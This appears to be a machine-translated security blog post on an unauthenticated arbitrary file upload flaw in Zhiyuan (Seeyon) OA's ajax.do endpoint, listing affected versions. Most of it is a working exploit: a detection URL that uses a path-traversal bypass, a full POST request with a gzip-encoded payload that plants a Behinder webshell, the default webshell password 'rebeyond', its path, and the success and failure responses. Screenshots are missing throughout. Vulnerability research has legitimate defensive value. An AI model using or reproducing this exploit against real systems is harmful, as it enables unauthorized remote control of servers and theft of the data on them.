Arbitrary file upload vulnerability in Zhiyuan OA-ajax.do

Arbitrary file upload vulnerability in Zhiyuan OA-ajax.do

Vulnerability description

Zhiyuan OA is a set of office collaborative management software. Recently, Qi'anxin CERT has monitored the related vulnerability information of Zhiyuan OA. Due to unauthorized access to some interfaces of the old version of Zhiyuan OA and insufficient filtering of some functions, attackers can construct malicious requests to upload malicious script files without logging in to control the server. ZHIYUAN OA has officially provided a patch for this vulnerability. In view of the greater harm of vulnerabilities, it is recommended that users apply patch updates as soon as possible.

Vulnerability impact version

Zhiyuan OA V8.0
Zhiyuan OA V7.1, V7.1SP1
Zhiyuan OA V7.0, V7.0SP1, V7.0SP2, V7.0SP3
Zhiyuan OA V6.0, V6.1SP1, V6.1SP2
Zhiyuan OA V5.x
Zhiyuan OA G6

Vulnerability recurrence

Determine whether there is a loophole.
http://xxx.xxx.xxx.xxx/seeyon/thirdpartyController.do.css/..;/ajax.do
If it appears as shown in the figure, there may be loopholes.
出现异常:java.lang.NullPointerException:null
Insert picture description here

EXP
uses tools to generate payload
Insert picture description here

POST /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1
Host: 127.0.0.1
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
loginPageURL=; login_locale=zh_CN;
Content-Type: application/x-www-form-urlencoded

managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00uTY%C2%93%C2%A2H%10%7E%C3%9E%C3%BD%15%C2%84%2F%C3%9A%C3%9136%C2%82%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C2%B7+%25%C2%A0wb%C2%B2%C3%9C%C3%89C%C3%80TU%C3%95%7Bx%C3%AD%C3%BE%C2%A0%C2%AB%C2%91%C2%AE%C3%87%C3%97%C3%BA%C3%8E%2F%C2%85%C3%97%C3%BD%C3%BB_%2F%07M%C2%ADU%05%00%00

Ice scorpion 3 default japx horse pass: rebeyond
webshell address: http://xxx.xxx.xxx.xxx/seeyon/mmd.jspx
unsuccessful return

{
"message":"被迫下线,原因:与服务器失去连接",
"code":"-1",
"details":null
}

Insert picture description here

Successfully returned

{
"message":null,
"code":"0614448583",
"details":null
}

Insert picture description here

Request webshell, the following figure appears to prove that the upload is successful
Insert picture description here

Use ice scorpion connection
Insert picture description here

Guess you like

Origin blog.csdn.net/weixin_44146996/article/details/112620578